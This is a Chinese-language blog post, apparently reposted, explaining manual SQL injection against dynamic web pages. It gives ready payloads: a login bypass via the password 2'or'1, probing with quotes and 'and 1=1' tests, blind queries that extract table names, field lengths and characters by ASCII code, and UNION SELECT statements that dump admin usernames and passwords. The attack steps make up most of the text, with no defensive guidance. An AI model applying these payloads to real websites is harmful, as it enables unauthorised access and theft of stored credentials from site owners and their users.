昨天把去年学习的一些东西可以说重新复习了一边,又有了新的理解与感悟,记录如下:
静态网页不需要使用后台数据库,动态网页需要连接后台数据库,因此只有动态网页存在SQl注入漏洞,而静态网页不存在。
此时比如客户端想要查看ID为33的文章,这时假设发出请求链接为【http://www.test.com/test.php?id=33】
此链接被提交到脚本引擎,脚本引擎解析获取ID为33,由此构造SQL语句【select * from test where id = 33】
此语句被提交到数据库,之后数据库便返回查询到的数据。
知道原理后,我们就可以进行SQL语句的构造了。
ii、于是我们输入用户名【admin】和密码【2’or’1】时,脚本引擎构造SQL语句为【selectuser_id,user_type,email from user where user_id = 'admin' and '2' or '1'】
iii、由于SQL中【=】优先级高于【and】高于【or】,又因为布尔型【 or '1' 】恒成立,因此此式恒成立,因此成功进入后台界面
输入【'】数据库出错,说明【'】被提交至了数据库进行解析
接着输入【and 1=1 】页面正常显示,输入【and 1=2 】页面报错,说明存在SQL注入漏洞
ii、知道存在SQL注入漏洞后就可以通过构造SQL查询语句判断后台数据库中存在的表、列、字段了
输入【and exists (select * from admin)】若正常显示,说明存在admin表
输入【and exists (select admin from admin)】若正常显示,说明存在admin列,同理,可以判断出来后台数据库中存在的表、列
输入【and (select top 1 len(admin) from admin)=5】若正常显示,说明admin表中admin列中第一个字段存在5个字符
输入【and(select top 1 asc(mid(admin,1,1)) from admin)=97】若正常显示,说明amdin表中admin列中第一个字段的第一个字目的ascii码为97,即这个字母为a.
同理,就可以得到后台数据库中存储的表、列、字段数据
iii、当然也可以直接使用现成的工具,比如这个:
ii、输入【union select 1,2,3,4,5,6,7,8,9,10,11 from admin】联合查询爆出后台数据库中存在的字段名
iii、此时输入【union select 1,admin,password,4,5,6,7,8,9,10,11 from admin】即看到了admin表中测试列中的字段数据
本文来源于:手工SQL注入语句构造-变化吧
特别声明:以上文章内容仅代表作者本人观点,不代表变化吧观点或立场。如有关于作品内容、版权或其它问题请于作品发表后的30日内与变化吧联系。
- 赞助本站
- 微信扫一扫
-
- 加入Q群
- QQ扫一扫
-
评论